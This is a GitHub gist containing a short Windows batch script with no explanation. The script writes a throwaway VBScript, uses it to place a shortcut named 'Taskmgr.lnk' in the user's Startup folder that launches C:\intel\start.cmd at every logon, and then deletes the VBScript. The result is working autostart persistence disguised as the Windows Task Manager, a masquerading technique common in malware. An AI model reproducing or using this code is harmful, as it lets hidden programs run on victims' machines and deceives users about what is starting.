Skip to content

Instantly share code, notes, and snippets.

@h4kun4matata
Created June 22, 2018 19:48
Show Gist options
  • Select an option

  • Save h4kun4matata/6afbe2361e1f89d1f23490b63dbbc545 to your computer and use it in GitHub Desktop.

Select an option

Save h4kun4matata/6afbe2361e1f89d1f23490b63dbbc545 to your computer and use it in GitHub Desktop.
@ECHO OFF
SETLOCAL EnableExtensions DisableDelayedExpansion
if "%~1"=="" goto :eof
if not exist "%~1" goto :eof
set "_auxiliaryScript=%TEMP%\%RANDOM%-%RANDOM%-%RANDOM%-%RANDOM%.vbs"
set "_lnkFile=%appdata%\Microsoft\Windows\Start Menu\Programs\Startup\Taskmgr.lnk"
> "%_auxiliaryScript%" (
echo Set oLnk = WScript.CreateObject^("WScript.Shell"^).CreateShortcut^("%_lnkFile%"^)
echo oLnk.TargetPath = "C:\intel\start.cmd"
echo oLnk.Save
)
cscript //nologo "%_auxiliaryScript%"
del "%_auxiliaryScript%"
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment